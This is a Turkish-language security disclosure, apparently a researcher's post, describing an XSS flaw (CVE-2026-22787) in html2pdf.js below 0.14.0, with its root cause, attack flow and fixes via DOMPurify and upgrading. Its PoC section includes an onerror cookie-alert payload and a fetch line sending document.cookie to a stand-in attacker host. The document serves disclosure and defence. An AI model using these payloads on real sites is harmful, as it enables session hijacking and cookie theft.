html2pdf.js kütüphanesinde XSS (Cross-Site Scripting) zafiyeti buldum. Kullanıcıdan gelen input sanitize edilmeden innerHTML’e atanıyor; saldırgan sayfa bağlamında JavaScript çalıştırabiliyor (session hijacking, veri çalma, yetkisiz işlemler).

Özet

CVE-2026-22787 — html2pdf.js < 0.14.0. String source kullanıldığında input DOM’a temizlenmeden ekleniyor.

Etkilenen: < 0.14.0 · Düzeltme: 0.14.0 · CVSS: 8.7 (High)

Detaylar

Etkilenen yer

Dosya: src/worker.js satır 71 · Fonksiyon: Worker.prototype.from()

Root cause

html2pdf() string ile çağrılınca input, sanitization olmadan yeni bir div’in innerHTML’ine atanıyor. Event handler’lar ve diğer injection vektörleri çalışıyor.

Saldırı akışı

  1. Saldırgan JavaScript içeren HTML string veriyor
  2. Kütüphane bunu innerHTML’e yazıyor (worker.js:71)
  3. Element DOM’a ekleniyor (worker.js:125)
  4. Tarayıcı script’i çalıştırıyor; XSS kurbanın bağlamında çalışıyor

Kısmi mitigasyon neden yetmiyor?

src/utils.js’te <script> tag’leri kaldırılıyor ama event handler’lar (onerror, onclick, onload), SVG içindeki script, javascript: URL’li iframe gibi vektörlere karşı koruma yok.

PoC

Temel XSS: <img src=x onerror="alert(document.cookie)">html2pdf().from(maliciousHTML).save() çağrıldığında alert çıkıyor.

Cookie çalma: onerror içinde fetch('https://attacker.com/steal?cookie='+document.cookie) ile cookie saldırgana gidebiliyor.

Etki

Session hijacking, sayfa içeriğini çalma, keylogging, sahte form, CSRF. E-ticaret (PDF fatura), raporlama ve form’dan PDF üreten uygulamalar risk altında.

Çözüm

Kullanıcı input’unu her zaman sanitize et. Örn. DOMPurify:

const sanitizedHTML = DOMPurify.sanitize(userInput);
html2pdf().from(sanitizedHTML).save();

Güncelleme: html2pdf.js 0.14.0 ve üzeri kullan; bu sürüm text source’ları DOMPurify ile temizliyor. Eski sürümde kalacaksan kütüphaneye vermeden önce kendin sanitize et.

Raporlama

GitHub Security Advisory’ye bildirdim; CVE-2026-22787 atandı; düzeltme 0.14.0. GHSA-w8x4-x68c-m6fc

Özet

CVE-2026-22787, kullanıcı input’unun sanitize edilmeden innerHTML’e atanmasından kaynaklanan ciddi bir XSS. <script> kaldırma tek başına yetmiyor; event handler ve diğer vektörler açık. Kullanıcı verisini DOM’a eklemeden önce sanitization şart; DOMPurify gibi kütüphaneler kullan, kütüphaneyi güncel tut.

İlgili içerik

Kaynaklar: